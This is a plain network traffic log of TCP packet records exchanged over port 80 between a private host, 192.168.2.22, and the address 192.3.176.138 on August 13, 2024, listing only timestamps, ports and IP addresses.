Aug 13, 2024 20:24:37.487267971 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.487293005 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.487308979 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.487323046 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.487332106 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.487360001 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.487379074 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.492018938 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.492070913 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.492086887 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.492104053 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.492208958 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.496855974 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.496889114 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.496906042 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.497003078 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.497082949 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.497118950 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.497137070 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.497164965 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.501857042 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.501892090 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.501925945 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.501955032 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.501960039 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.501971960 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.502018929 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.506617069 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.506652117 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.506772995 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.506789923 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.506819963 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.506846905 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.506846905 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.506872892 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.511670113 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.511704922 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.511738062 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.511770010 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.511773109 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.511800051 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.511804104 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.511814117 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.511852980 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.511885881 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.511918068 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.511920929 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.511950970 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.511970043 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.511984110 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.512001991 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.512018919 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.512032986 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.512053967 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.512087107 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.512101889 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.512120962 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.512130976 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.512154102 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.512156010 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.512170076 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.512190104 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.512202978 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.512223005 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.512271881 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.569787979 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.569808006 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.569943905 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.570178032 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.570200920 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.570225954 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.570230961 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.570242882 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.570260048 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.570265055 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.570302963 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.571049929 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.571065903 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.571080923 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.571095943 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.571096897 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.571118116 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.571119070 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.571145058 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.571166039 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.571182013 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.571207047 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.571222067 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.571237087 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.571252108 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.571291924 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.572187901 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.572230101 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.572248936 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.572266102 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.572288036 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.572303057 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.572308064 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.572325945 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.572370052 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.573185921 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.573200941 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.573215008 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.573236942 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.573237896 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.573252916 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.573254108 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.573297977 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.574609995 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.574625969 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.574640989 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.574664116 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.574664116 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.574702024 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.574707985 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.574724913 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.574765921 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.575015068 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.575038910 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.575053930 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.575061083 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.575069904 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.575086117 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.575109005 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.575109005 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.575109959 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.575146914 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.576240063 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.576272011 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.576287985 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.576316118 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.576343060 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.576729059 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.576745033 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.576793909 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.576893091 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.576909065 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.576922894 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.576931953 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.576976061 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.576976061 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.577029943 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.577047110 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.577070951 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.577096939 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.577863932 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.577977896 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.578021049 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.578207016 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.578244925 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.578284025 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.578299999 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.578314066 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.578342915 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.578368902 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.578974962 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579154015 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579169989 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579184055 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579193115 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.579200983 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579215050 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.579215050 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.579242945 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.579598904 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579623938 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579639912 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579665899 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.579695940 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.579713106 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579730034 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579745054 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579761982 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.579768896 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.579787970 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.579802990 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.599112988 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.604743958 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.604792118 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.604826927 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.604861021 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.604863882 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.604892969 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.604897022 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.604912043 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.604929924 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.604943991 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.604965925 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.604975939 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.605000019 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.605011940 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.605035067 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.605058908 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.605066061 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.605093956 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.605101109 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.605107069 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.605145931 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.605165958 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.605204105 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.605237007 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.605254889 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.605271101 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.605279922 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.605307102 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.605318069 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.605348110 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663265944 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663342953 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663358927 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663408995 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663420916 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663456917 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663485050 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663503885 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663510084 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663543940 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663559914 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663593054 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663625956 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663657904 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663660049 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663676023 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663693905 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663727045 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663743019 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663759947 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663783073 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663799047 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663814068 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663816929 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663851976 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663887978 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.663893938 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.663893938 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.664262056 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.673707008 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673722982 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673731089 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673762083 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673768997 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673784971 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673800945 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673857927 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673873901 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673891068 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.673891068 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.673923969 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.673947096 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673964024 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673978090 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.673995018 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674000025 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674011946 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674026012 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674027920 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674046040 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674048901 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674068928 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674082041 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674098015 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674119949 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674137115 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674149990 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674165010 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674180984 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674180031 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674196959 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674202919 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674218893 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674237967 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674329996 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674339056 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674355030 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674370050 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674385071 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674400091 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674408913 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674417019 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674427032 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674433947 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674451113 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674453020 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674474001 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674474001 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674490929 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674495935 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674508095 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674546957 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674557924 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674563885 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674581051 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674585104 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674597025 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674604893 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674613953 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674624920 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674632072 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674664021 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674664021 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674669981 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674686909 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.674695015 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674747944 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674766064 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.674803019 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679351091 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679393053 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679408073 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679430962 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679430962 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679451942 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679461956 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679477930 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679492950 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679508924 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679514885 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679534912 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679550886 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679584026 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679609060 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679624081 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679630995 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679640055 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679656029 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679661989 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679672003 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679677963 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679687977 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679693937 CEST	49165	80	192.168.2.22	192.3.176.138
Aug 13, 2024 20:24:37.679702044 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679711103 CEST	80	49165	192.3.176.138	192.168.2.22
Aug 13, 2024 20:24:37.679804087 CEST	49165	80	192.168.2.22	192.3.176.138
